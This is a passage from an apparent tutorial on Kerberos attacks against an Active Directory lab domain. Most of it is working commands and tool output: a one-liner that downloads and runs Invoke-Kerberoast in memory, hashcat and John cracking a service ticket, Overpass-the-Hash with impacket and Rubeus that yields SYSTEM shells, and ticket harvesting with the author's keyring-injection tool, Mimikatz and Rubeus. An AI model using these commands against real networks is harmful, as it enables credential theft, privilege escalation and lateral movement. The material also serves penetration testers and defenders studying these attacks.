$krb5tgs$23$*$jurassic.park$cloner/labwws02*$60B2E176B7A641FD663BF1B8D0B6E106$069B2ACA38B73BFCAC56526DBAEF743F4981980CD213DD9FE7D41D3AB3F3E521273C70D9CA681319F690C5BFAE627B423D3FBAD20D7EDE8E1AF930B5AEFCC2657B4A8B0BD5DCD9B51560E78478A9A7616C0CB675FDC501828CCE58206542D48D48B4A1DCE61BDCB9705094DE1D16536526E04E5AE84567407DA665868E33DB26CD763DCEBDD8F6801494A9F6E3ADE8F63C7D197D1AE66345A9635FE5E7C2D35A9DC4885DD2C6699CE8C00D71B518DC6BA8B87F525AEC635881245F20E7ECE150B4D4223C19960AFF417FB4C053EA6FA3B86938FCA1F1A781E3F36FAB9EE8909422CCE440453F0E3A2D23DED7861BA919BC8567C6DC1F77817F1E44181783EC3BA76CF688A841FBD6F9B02B2BD2D4A22BB489808F04CAAA87D025812EF11B39FEC605485EB875D57F4D09623B3108638816E6D2DB81F280635B29FD4BD08A9C8AAE72571B61E81274C56DCAB8AE13C2EEFA3AF2DD4084A96CA84F336987CD765C2D23FB957EE378136ED42BBFDE1DE8361BF933B51370D7AF07A3A939C3FEEC62ADC4A884EE52A296DEF9402F732D57F04FB93FC296B8F5031FA852403D6AE7211648693C4CD0C47847C07E869D1FB41B627B1928EC929409EEE0B1CE67BB55CEA069A26809E8347A3BEA34AB9EC4F78051D40CCD9AB1C5AF655165F86E0185B72E01643854710E322A2722BDEAABA317A1ECD78096E3D5A51831A57F505B861AEEB9B2207CA2D7FBCE47847C3D3A1CB9D5C2B931BC532B220434550D83A82F63B26B918E189C38D7D979AC05D34043ECEDCA09CEFDB3065A8BE2717E84FC325373A7B778AA4325D7F0458AC7A84196DA7752BEFE0ED9A0830ECB60BA4F3EC5F0A2FB3BA482DD9F947C8A667CCC54013C01D15E0AB41CC08A140389028461B16E38CCD85542F8B53E1AC4CB4E8F6CE2EFC9ECDABD6AED2716C17221791D620E333359B39A0D6720FD6167A2D03A74B4C7FD549EC9169AC3103A4EBD9BF8F5754EF013411802524A5F8DA6FE7FBCD219D2193891C9026513AEB751D6D3707253929F43F6A40012E2463002465F888E6F15C4CE264DB88650D503431A3D1FC58321ADB65F7BC69E2E95562A81FFE3A633BF4AC27B85CE2CB49A0EF19FDA1A51074B898D21B94FA91F7092BE9B22BDFBA09829FC1B95187AE8CB2BBAB3C1E3ECF5835723C2858862A0BEF32001AC461C0FE496029B3E7E6827E0991F6CF3F6D658F4AA8DDDDC097CC2B12038DF8112833DA052D0ED2D42D2FD93DA13FFEE3831F57956DFF6FA0C9E573862B1D4F2AC3344F7320F1FBCB5F9773EEE0F091829052CC5F31CECBD0E468914C70B9F03CA056A53E449AE85734B1C43D57FEEFC5576672C82D47F14A168E9A2FFDE715955B2749A01DE174CB32C4D8F7477A087E717379D9599E50997D8619D8F1F2DB268E5D89A9DA13E2B61C15E97159740766C4415B5F46C754A2C2C9500092BD1AF88F1C1C4D5DC4A4F5078F691148D448DBCD94549F74A2312921293427891DEF1C0754FA6AA3633141BE8D885703279C62EECE474A366FC9B8C8A4A5DAF98FF Another way to accomplish Kerberoast is to use the powershell script Invoke-Kerberoast from Empire project, which can be loaded directly into memory: PS C:\Users\triceratops> iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") PS C:\Users\triceratops> Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast In the same way as impacket, these tools create output files with one crackable TGS per line, which can be used to feed Hashcat or John. Cracking the TGSs In this section, cracking examples of both Hashcat and John will be shown. However, there are several different cracking methods which can be applied in this situation. Next, a dictionary attack will be performed (the dictionary contains the password for demonstration purposes). Hashcat command: root@kali:impacket-examples# hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt hashcat (v5.1.0) starting... OpenCL Platform #1: The pocl project ==================================== * Device #1: pthread-Intel(R) Core(TM) i5-4210H CPU @ 2.90GHz, 2961/2961 MB allocatable, 2MCU Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers: * Zero-Byte * Not-Iterated * Single-Hash * Single-Salt Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 ATTENTION! Pure (unoptimized) OpenCL kernels selected. This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance. If you want to switch to optimized OpenCL kernels, append -O to your commandline. Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. * Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=4 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=13100 -D _unroll' * Device #1: Kernel m13100_a0-pure.43809ab0.kernel not found in cache! Building may take a while... Dictionary cache hit: * Filename..: passwords_kerb.txt * Passwords.: 3 * Bytes.....: 25 * Keyspace..: 3 The wordlist or mask that you are using is too small. This means that hashcat cannot use the full parallel power of your device(s). Unless you supply more work, your cracking speed will drop. For tips on supplying more work, see: https://hashcat.net/faq/morework Approaching final keyspace - workload adjusted. $krb5tgs$23$*velociraptor$jurassic.park$cloner/labwws02*$60b2e176b7a641fd663bf1b8d0b6e106$069b2aca38b73bfcac56526dbaef743f4981980cd213dd9fe7d41d3ab3f3e521273c70d9ca681319f690c5bfae627b423d3fbad20d7ede8e1af930b5aefcc2657b4a8b0bd5dcd9b51560e78478a9a7616c0cb675fdc501828cce58206542d48d48b4a1dce61bdcb9705094de1d16536526e04e5ae84567407da665868e33db26cd763dcebdd8f6801494a9f6e3ade8f63c7d197d1ae66345a9635fe5e7c2d35a9dc4885dd2c6699ce8c00d71b518dc6ba8b87f525aec635881245f20e7ece150b4d4223c19960aff417fb4c053ea6fa3b86938fca1f1a781e3f36fab9ee8909422cce440453f0e3a2d23ded7861ba919bc8567c6dc1f77817f1e44181783ec3ba76cf688a841fbd6f9b02b2bd2d4a22bb489808f04caaa87d025812ef11b39fec605485eb875d57f4d09623b3108638816e6d2db81f280635b29fd4bd08a9c8aae72571b61e81274c56dcab8ae13c2eefa3af2dd4084a96ca84f336987cd765c2d23fb957ee378136ed42bbfde1de8361bf933b51370d7af07a3a939c3feec62adc4a884ee52a296def9402f732d57f04fb93fc296b8f5031fa852403d6ae7211648693c4cd0c47847c07e869d1fb41b627b1928ec929409eee0b1ce67bb55cea069a26809e8347a3bea34ab9ec4f78051d40ccd9ab1c5af655165f86e0185b72e01643854710e322a2722bdeaaba317a1ecd78096e3d5a51831a57f505b861aeeb9b2207ca2d7fbce47847c3d3a1cb9d5c2b931bc532b220434550d83a82f63b26b918e189c38d7d979ac05d34043ecedca09cefdb3065a8be2717e84fc325373a7b778aa4325d7f0458ac7a84196da7752befe0ed9a0830ecb60ba4f3ec5f0a2fb3ba482dd9f947c8a667ccc54013c01d15e0ab41cc08a140389028461b16e38ccd85542f8b53e1ac4cb4e8f6ce2efc9ecdabd6aed2716c17221791d620e333359b39a0d6720fd6167a2d03a74b4c7fd549ec9169ac3103a4ebd9bf8f5754ef013411802524a5f8da6fe7fbcd219d2193891c9026513aeb751d6d3707253929f43f6a40012e2463002465f888e6f15c4ce264db88650d503431a3d1fc58321adb65f7bc69e2e95562a81ffe3a633bf4ac27b85ce2cb49a0ef19fda1a51074b898d21b94fa91f7092be9b22bdfba09829fc1b95187ae8cb2bbab3c1e3ecf5835723c2858862a0bef32001ac461c0fe496029b3e7e6827e0991f6cf3f6d658f4aa8ddddc097cc2b12038df8112833da052d0ed2d42d2fd93da13ffee3831f57956dff6fa0c9e573862b1d4f2ac3344f7320f1fbcb5f9773eee0f091829052cc5f31cecbd0e468914c70b9f03ca056a53e449ae85734b1c43d57feefc5576672c82d47f14a168e9a2ffde715955b2749a01de174cb32c4d8f7477a087e717379d9599e50997d8619d8f1f2db268e5d89a9da13e2b61c15e97159740766c4415b5f46c754a2c2c9500092bd1af88f1c1c4d5dc4a4f5078f691148d448dbcd94549f74a2312921293427891def1c0754fa6aa3633141be8d885703279c62eece474a366fc9b8c8a4a5daf98ff:Sm4rtSp33d Session..........: hashcat Status...........: Cracked Hash.Type........: Kerberos 5 TGS-REP etype 23 Hash.Target......: $krb5tgs$23$*velociraptor$jurassic.park$cloner/labw...af98ff Time.Started.....: Tue Mar 5 10:46:34 2019 (1 sec) Time.Estimated...: Tue Mar 5 10:46:35 2019 (0 secs) Guess.Base.......: File (passwords_kerb.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 4 H/s (0.16ms) @ Accel:64 Loops:1 Thr:64 Vec:4 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 3/3 (100.00%) Rejected.........: 0/3 (0.00%) Restore.Point....: 0/3 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: above1 -> below1 Started: Tue Mar 5 10:42:51 2019 Stopped: Tue Mar 5 10:46:35 2019 Due to encoding while using hashcat, a problem raised. The tool displays an error similar to Byte Order Mark (BOM) was detected, due to an input file encoded with Unicode (which is common in Windows output files) instead of ASCII. In order to solve this issue, the tool dos2unix can be used to convert the file encoding to the correct one. John command: root@kali:impacket-examples# john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast Using default input encoding: UTF-8 Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Sm4rtSp33d (?) 1g 0:00:00:00 DONE (2019-03-05 10:53) 50.00g/s 150.0p/s 150.0c/s 150.0C/s above1..below1 Use the "--show" option to display all of the cracked passwords reliably Session completed John was not able to show the username alongside the cracked password, instead, it displayed the symbol (?). While this is enough in the case of just one TGS, it can get pretty annoying if several are going to be cracked. After all, as shown above, it was possible to crack the password by using the correct dictionary with both tools. Overpass The Hash/Pass The Key (PTK) This attack aims to use user NTLM hash to request Kerberos tickets, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially useful in networks where NTLM protocol is disabled and only Kerberos is allowed as authentication protocol. In order to perform this attack, the NTLM hash (or password) of the target user account is needed. Thus, once a user hash is obtained, a TGT can be requested for that account. Finally, it is possible to access any service or machine where the user account has permissions. From Linux From a Linux perspective, impacket can be used in order to perform this attack. Thus, the commands required for that purpose are the following: root@kali:impacket-examples# python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7 Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Saving ticket in velociraptor.ccache root@kali:impacket-examples# export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache root@kali:impacket-examples# python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Requesting shares on labwws02.jurassic.park..... [*] Found writable share ADMIN$ [*] Uploading file yuiQeOUk.exe [*] Opening SVCManager on labwws02.jurassic.park..... [*] Creating service sBGq on labwws02.jurassic.park..... [*] Starting service sBGq..... [!] Press help for extra shell commands Microsoft Windows [Versión 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system C:\Windows\system32> After generating and using the TGT, finally a shell is launched. The requested TGT can also be used with other impacket examples with parameter -k, and even with other tools (as smbexec.py or wmiexec.py) thanks to it being written in a ccache file, which is a widely used format for Kerberos tickets in Linux. At the moment of writing the examples for this article some problems arised: PyAsn1Error(‘NamedTypes can cast only scalar values’,) : Resolved by updating impacket to the lastest version. KDC can’t found the name : Resolved by using the hostname instead of the IP address, because it was not recognized by Kerberos KDC. From Windows In order to accomplish this attack from a Windows machine, it is possible to use Rubeus and PsExec as follows: C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Ask TGT [*] Using rc4_hmac hash: 2a3de7fe356ee524cc9f3d579f2e0aa7 [*] Using domain controller: Lab-WDC02.jurassic.park (10.200.220.3) [*] Building AS-REQ (w/ preauth) for: 'jurassic.park\velociraptor' [*] Connecting to 10.200.220.3:88 [*] Sent 237 bytes [*] Received 1455 bytes [+] TGT request successful! [*] base64(ticket.kirbi): doIFSDCCBUSgAwIBBaEDAgEWooIEVjCCBFJhggROMIIESqADAgEFoQ8bDUpVUkFTU0lDLlBBUkuiIjAg oAMCAQKhGTAXGwZrcmJ0Z3QbDWp1cmFzc2ljLnBhcmujggQMMIIECKADAgESoQMCAQKiggP6BIID9nUy VTaRmuyCOYJ/Fz0Z5We4crR6qWrxpEPDZHV09VmBp0GYWwUxwGM4M2hkbFJss6i0RG1NvKUy55D2loPI nKXSD5kwEjJeMsVAQWvvQCNuIrVu/XY9eGhL405ryVYNELdPxOuBNXYYZoQYLo1qxcoEkH/ag4QTnG7z 6qH1o5RWwhmqMHNWp77LGu3lBWd0lb3t7d3pfGCU7hgWRvA390dQZ+Vzrcqfs5sHzoii8ondT9LqyvYI 4P6DwhXH1wWOVhF9Sf23wUSG5iIZvbTrHuNZvFcPmUYXF2zd0Dtx+L3ovYdWaw+7HDmu4NPspvuAlG2x Jj/cbGS1KuCjAtSkT9XMVu0WEFY8gIbew35l8t5H7b+8fcjTyOLFJyMIuEzTjdfzdGJ8NYsqAxG0wCtd w4OCuqUUHuffwD4L27PC+fVVR7D5htfy6MbWVQrVqfgGIhqdC68I5COjyknobf+ksO9EDcn8+7zDUXtE dbt9XZtt0VTNyZUfSyOMGW+pkpB8wA3QjzahpgrLVE/8oHGAkFQ6sf/DOr0CYinn7iC8lJ1zZj1hcDa6 Y+RVSARW4V++03uQPwtCN6mpuhIumikFCQsOTMQky8QKcsFGHdsCqySQsAoOtdWLHpuYFnaA0VDb3M+i 4yc5286jaF6NRRPBZJEZnSTCRNwhJCR3bgO3C5bzWKFCOFMjFy5GOCZoZdYIbKiVABG2ZFUuyMedCDQQ YJrLO6oFoCL5Yeu2vrviFZUSpbUVZlxSDHnASuo1PUCfnm7oF3E6aw6/Q/0/dONSQzImXC7H+t2Z7ym5 4pIzkgIZ/p5ODWfKr/XrrBUjmPPDzGyRUz9q1NKPv0SVi8sC5wkWAe1tipU5G582PrBWuS+Nv9XLAoKL +LR4iWnUw3o3/96IyCiHiCGy/g1DLJehxb5/wxDxwrnpDW50kFs7bwFrbD+8qWwd8apZF/iiUyzRYJAu jDOTyfJtZ7Vm2mOwSm1KeUboZ3u9StIkNUbmjR/wXvwmvUCXDppO/LeMT9w5uejGNVr+QRLPL+brAkbB GHFoSTR0/L6k1+8vkJzAJCOA3Yir3JJd8xRdnad4Q7Pl67CjsGKrJddt6iBzoHKPabQ/SbDVIV4veMX7 5KtcYHM8E2CvV2sV8KD1QIOSo00Ya/C/EUekjWsG3YGW7UulxDwb95mDRf6ntr7jMBC8G2jd49IuJcWR QTDFuys4L/NsEAqLo5RPNk6bz1SpjpWlmG95hRg5DAe1M+u8aRD6NDs3A8fH6b7fZkQ+1I/Xl5sBhfTt 7FGbTI4mG+VlEHbJpl47KTAO+jJgYj3m0/vgcwBlO4lCMFucB3B488VEamPJU3M66hMOy6OB3TCB2qAD AgEAooHSBIHPfYHMMIHJoIHGMIHDMIHAoBswGaADAgEXoRIEEFg+Y8LhMIWpLiabLQKBdBihDxsNSlVS QVNTSUMuUEFSS6IZMBegAwIBAaEQMA4bDHZlbG9jaXJhcHRvcqMHAwUAQOEAAKURGA8yMDE5MDIyODEx NTc1N1qmERgPMjAxOTAyMjgyMTU3NTdapxEYDzIwMTkwMzA3MTE1NzU3WqgPGw1KVVJBU1NJQy5QQVJL qSIwIKADAgECoRkwFxsGa3JidGd0Gw1qdXJhc3NpYy5wYXJr [*] Action: Import Ticket [+] Ticket successfully imported! C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Versión 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami jurassic\velociraptor C:\Windows\system32> In case of not passing the parameter /ptt to Rubeus asktgt, the ticket will be shown in base64. The following Powershell command can be used to write it into a file: [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("")) As this is a little cumbersome, I expect that the program will automatically save the ticket in future versions. After that, the command Rubeus ptt /ticket: can be used to inject that ticket. Pass The Ticket (PTT) This kind of attack is similar to Pass the Key, but instead of using hashes to request for a ticket, the ticket itself is stolen and used to authenticate as its owner. The way of recolecting these tickets changes from Linux to Windows machines, therefore each process will be introduced in its own section. Harvesting tickets from Linux On Linux, tickets are stored in credential caches or ccaches. There are 3 main types, which indicate where tickets can be found: Files, by default under /tmp directory, in the form of krb5cc_%{uid}. Kernel Keyrings, an special space in the Linux kernel provided for storing keys. Process memory, used when only one process needs to use the tickets. To verify what type of storage is used in a specific machine, the variable default_ccache_name must be checked in the /etc/krb5.conf file, which by default has read permission to any user. In case of this parameter being missing, its default value is FILE:/tmp/krb5cc_%{uid}. Hence, tickets are usually saved in files, which can only be read by the owner and, like any file in Linux, by root. In case of having access to those ticket files, just with copy-pasting them into another machine, they can be used to perform Pass The Ticket attacks. Example of tickets in a Linux server: [root@Lab-LSV01]# ls -lah /tmp/krb5* -rw-------. 1 root root 1.4K Mar 5 16:25 /tmp/krb5cc_0 -rw-------. 1 trex domain users 1.2K Mar 7 10:08 /tmp/krb5cc_1120601113_ZFxZpK -rw-------. 1 velociraptor domain users 490 Mar 7 10:14 /tmp/krb5cc_1120601115_uDoEa0 In order to extract tickets from the other 2 sources (keyrings and processes), a great paper, Kerberos Credential Thievery (GNU/Linux), released in 2017, explains ways of recovering the tickets from them. Moreover, the paper also contains several scripts to substract tickets from remote machines. In the case of keyrings, their script heracles.sh can be used. In the case of a process holding the tickets, a memory analysis is required to found the tickets inside. Furthermore, I have developed a tool in C based on the heracles.sh script called tickey, to extract tickets from keyrings. The tool was created because the command keyctl, heavily used by heracles.sh, is not installed by default in Linux systems, so a direct call to the keyctl syscall can solve this problem. Moreover, tickets in session or user keyrings only can be accesed by the owner user in the same session. Therefore, when tickey is executed as root, it searchs for another user sessions and injects itself in each one of them in order to retrieve those tickets. An example of tickey output is shown below: [root@Lab-LSV01 /]# /tmp/tickey -i [*] krb5 ccache_name = KEYRING:session:sess_%{uid} [+] root detected, so... DUMP ALL THE TICKETS!! [*] Trying to inject in trex[1120601113] session... [+] Successful injection at process 21866 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache [*] Trying to inject in velociraptor[1120601115] session... [+] Successful injection at process 20752 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache [X] [uid:0] Error retrieving tickets [root@Lab-LSV01 /]# klist /tmp/__krb_1120601113.ccache Ticket cache: FILE:/tmp/__krb_1120601113.ccache Default principal: trex@JURASSIC.PARK Valid starting Expires Service principal 05/09/2019 15:48:36 05/10/2019 01:48:36 krbtgt/JURASSIC.PARK@JURASSIC.PARK renew until 05/10/2019 15:48:32 Harvesting tickets from Windows In Windows, tickets are handled and stored by the lsass (Local Security Authority Subsystem Service) process, which is responsible for security. Hence, to retrieve tickets from a Windows system, it is necessary to communicate with lsass and ask for them. As a non-administrative user only owned tickets can be fetched, however, as machine administrator, all of them can be harvested. For this purpose, the tools Mimikatz or Rubeus can be used as shown below: Mimikatz harvesting: PS C:\Users\velociraptor> .\mimikatz.exe .#####. mimikatz 2.1.1 (x64) built on Mar 18 2018 00:21:25 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # sekurlsa::tickets /export ... <-----Mimikatz Output-----> ... Authentication Id : 0 ; 42211838 (00000000:028419fe) Session : RemoteInteractive from 2 User Name : trex Domain : JURASSIC Logon Server : LAB-WDC01 Logon Time : 28/02/2019 12:14:43 SID : S-1-5-21-1339291983-1349129144-367733775-1113 * Username : trex * Domain : JURASSIC.PARK * Password : (null) Group 0 - Ticket Granting Service [00000000] Start/End/MaxRenew: 05/03/2019 9:48:37 ; 05/03/2019 19:15:59 ; 07/03/2019 12:14:43 Service Name (02) : LDAP ; Lab-WDC02.jurassic.park ; jurassic.park ; @ JURASSIC.PARK Target Name (02) : LDAP ; Lab-WDC02.jurassic.park ; jurassic.park ; @ JURASSIC.PARK Client Name (01) : trex ; @ JURASSIC.PARK ( JURASSIC.PARK ) Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac bd16db915bdfb0af3d57509bdea3d92bf8f0ef9976a16ebb6510111597c6d8b6 Ticket : 0x00000012 - aes256_hmac ; kvno = 4 [...] * Saved to file [0;28419fe]-0-0-40a50000-trex@LDAP-Lab-WDC02.jurassic.park.kirbi ! Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 28/02/2019 12:14:43 ; 28/02/2019 22:14:43 ; 07/03/2019 12:14:43 Service Name (02) : krbtgt ; JURASSIC.PARK ; @ JURASSIC.PARK Target Name (--) : @ JURASSIC.PARK Client Name (01) : trex ; @ JURASSIC.PARK ( $$Delegation Ticket$$ ) Flags 60a00000 : pre_authent ; renewable ; forwarded ; forwardable ; Session Key : 0x00000012 - aes256_hmac 21666ffd3511fb2d1e127ad96e322c3a6e8be644eabba4821ba5c425b4a58842 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;28419fe]-2-0-60a00000-trex@krbtgt-JURASSIC.PARK.kirbi ! [00000001] Start/End/MaxRenew: 05/03/2019 9:15:59 ; 05/03/2019 19:15:59 ; 07/03/2019 12:14:43 Service Name (02) : krbtgt ; JURASSIC.PARK ; @ JURASSIC.PARK Target Name (02) : krbtgt ; JURASSIC.PARK ; @ JURASSIC.PARK Client Name (01) : trex ; @ JURASSIC.PARK ( JURASSIC.PARK ) Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac f79644af74ade15f4178e5cea3b0ce071b601f78ef4b11c09ed971142dd3bb50 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi ! ... <-----Mimikatz Output-----> ... mimikatz # exit Bye! Rubeus harvesting in powershell: PS C:\Users\Administrator> .\Rubeus dump ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2 [*] Action: Dump Kerberos Ticket Data (All Users) UserName : Administrator Domain : JURASSIC LogonId : 0xdee0cb2 UserSID : S-1-5-21-1339291983-1349129144-367733775-500 AuthenticationPackage : Kerberos LogonType : RemoteInteractive LogonTime : 07/03/2019 12:35:47 LogonServer : LAB-WDC01 LogonServerDNSDomain : JURASSIC.PARK UserPrincipalName : Administrator@jurassic.park ... <-----Rubeus Output-----> ... ServiceName : krbtgt/JURASSIC.PARK TargetName : krbtgt/jurassic.park ClientName : trex DomainName : JURASSIC.PARK TargetDomainName : JURASSIC.PARK AltTargetDomainName : JURASSIC.PARK SessionKeyType : aes256_cts_hmac_sha1 Base64SessionKey : 1gokewLDdgqAnN3a1KNR15q3GaZM3duydjLfb037KLs= KeyExpirationTime : 01/01/1601 1:00:00 TicketFlags : pre_authent, initial, renewable, forwardable StartTime : 07/03/2019 16:28:23 EndTime : 08/03/2019 2:28:23 RenewUntil : 14/03/2019 16:28:23 TimeSkew : 0 EncodedTicketSize : 1284 Base64EncodedTicket : doIFADCCBPygAwIBBaEDAgEWooIEBjCCBAJhggP+MIID+qADAgEFoQ8bDUpVUkFTU0lDLlBBUkuiIjAgoAMCAQKhGTAXGwZrcmJ0 Z3QbDUpVUkFTU0lDLlBBUkujggO8MIIDuKADAgESoQMCAQKiggOqBIIDpp9Nm0OTu82mrTl0Tekr8KEF3eX23qxHKcryCuzDV/Pd wUNpSc+1Oxa0k2WWvZwa+H9DW4I8fr0BE7oHMs6GaNFEjDJdO/l0qGUlCwyha05+9lg832SDEERgAA1wQDLjPogyBBTrP5OhGmf0 JevqulePfTUSxXJ/gNvP6JCQGAf+zUL12dqGkqyq//TOWSQjkgAy3NZtc1Ed3XnfI9L4VUo9YdY5fVSEci7kRm6Mk11sTV7bXSzd 4123fXLA3Usx+xJVKh5JPhvtSyDKRDNdcP2YKPoTyEuKUpsl8KhzbkEpdLPqzR+2uLHNmMzWDdsxTlytzZF9kzB9llUB2C9YLgzD Qkrx4/EIDH9w3u3pVVgAmZp1Y9sQhVmI9exIYVSPM/XA8vPAL1KDGyux+ojkVDAl/Kezqg6DWtLZO86Rpb7L7LRvk8jX/4Y4Yi0T MlsZjahwXn1N3ZulUiF7pvYzh9es9MkS/X/YqF6CiDogblLEaFniMYWNYFYMmhjfIZHgX3lyIj8UljRwdeFdt7Ezf/pmP1rl5uON hMlagv+prw4UcvN2u4Yeb+ybXMisMH4xonJIBr7/MKEhmbHVmKuoT+LBMjfN7iChY82rPqbKW0J+nn4yvC3zjLlOC5HNSTdMgGV5 FSAY34RO3SCOe14jetHmq9OQ5rLO5ymWfet5jcYy+ShtrYoNTxEPodNZyFqrBDT4JZ6T9jgoYMIu+g3VcoCRN5XDUJM+tBzZ6QUu 91D0ULl3wdvbEhh89hPAy1AHEWLtAth55/CJ0kNpWLPvLLz34OLzNg8nzCG2x9mFVP4MKvUw4JJN3LSkYRrxIg5eehSuQul43ZqQ hxi/+OyRoVwSfqqMeYO2QSeADaIiaFTwWaIDAu0pr1Vk+XfJGuHUWBjRocHu3dasPMhGoRlV5ehHxc58gnJ6UzkfcVDV7j1Skn7e os6wa6ejFOrMKNSB+cBqBcvBMCCksHsnQSd4gxUiw/7Masc9M+f9Xi3vf+f0LyiSKDdUIDOekMh/RqQhGs9UKSjp6/Q7EhMCd90J UDGbwBQZhTOBZApdo1VQ609kXfv654RSZ1OzSgaaK6P0GJdJGJ5NGIuNl1n0oEOZVB0FfATLH/xC9uD97VkH2mQ8jnFHHxseUle2 qMhkG+NsLOD7c2c9pzUNEbc4EZEjwMFx4eJwEeLnpXOMOMS6ix1YMuZjof6Q8xNmq05vpNMAOScgV7d3QmMvJLNy6LB6gBKPPBqG 4kCjgeUwgeKgAwIBAKKB2gSB132B1DCB0aCBzjCByzCByKArMCmgAwIBEqEiBCDWCiR7AsN2CoCc3drUo1HXmrcZpkzd27J2Mt9v Tfsou6EPGw1KVVJBU1NJQy5QQVJLohEwD6ADAgEBoQgwBhsEdHJleKMHAwUAQOAAAKURGA8yMDE5MDMwNzE1MjgyM1qmERgPMjAx OTAzMDgwMTI4MjNapxEYDzIwMTkwMzE0MTUyODIzWqgPGw1KVVJBU1NJQy5QQVJLqSIwIKADAgECoRkwFxsGa3JidGd0Gw1KVVJB U1NJQy5QQVJL ... <-----Rubeus Output-----> ... [*] Enumerated 23 total tickets [*] Extracted 23 total tickets PS C:\Users\Administrator> [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("doIFADCCBPygAwIBBaEDAgEWooIEBjCCBAJhggP+MIID+qADAgEFoQ8bDUpVUkFTU0lDLlBBUkuiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDUpVUkFTU0lDLlBBUkujggO8MIIDuKADAgESoQMCAQKiggOqBIIDpp9Nm0OTu82mrTl0Tekr8KEF3eX23qxHKcryCuzDV/PdwUNpSc+1Oxa0k2WWvZwa+H9DW4I8fr0BE7oHMs6GaNFEjDJdO/l0qGUlCwyha05+9lg832SDEERgAA1wQDLjPogyBBTrP5OhGmf0JevqulePfTUSxXJ/gNvP6JCQGAf+zUL12dqGkqyq//TOWSQjkgAy3NZtc1Ed3XnfI9L4VUo9YdY5fVSEci7kRm6Mk11sTV7bXSzd4123fXLA3Usx+xJVKh5JPhvtSyDKRDNdcP2YKPoTyEuKUpsl8KhzbkEpdLPqzR+2uLHNmMzWDdsxTlytzZF9kzB9llUB2C9YLgzDQkrx4/EIDH9w3u3pVVgAmZp1Y9sQhVmI9exIYVSPM/XA8vPAL1KDGyux+ojkVDAl/Kezqg6DWtLZO86Rpb7L7LRvk8jX/4Y4Yi0TMlsZjahwXn1N3ZulUiF7pvYzh9es9MkS/X/YqF6CiDogblLEaFniMYWNYFYMmhjfIZHgX3lyIj8UljRwdeFdt7Ezf/pmP1rl5uONhMlagv+prw4UcvN2u4Yeb+ybXMisMH4xonJIBr7/MKEhmbHVmKuoT+LBMjfN7iChY82rPqbKW0J+nn4yvC3zjLlOC5HNSTdMgGV5FSAY34RO3SCOe14jetHmq9OQ5rLO5ymWfet5jcYy+ShtrYoNTxEPodNZyFqrBDT4JZ6T9jgoYMIu+g3VcoCRN5XDUJM+tBzZ6QUu91D0ULl3wdvbEhh89hPAy1AHEWLtAth55/CJ0kNpWLPvLLz34OLzNg8nzCG2x9mFVP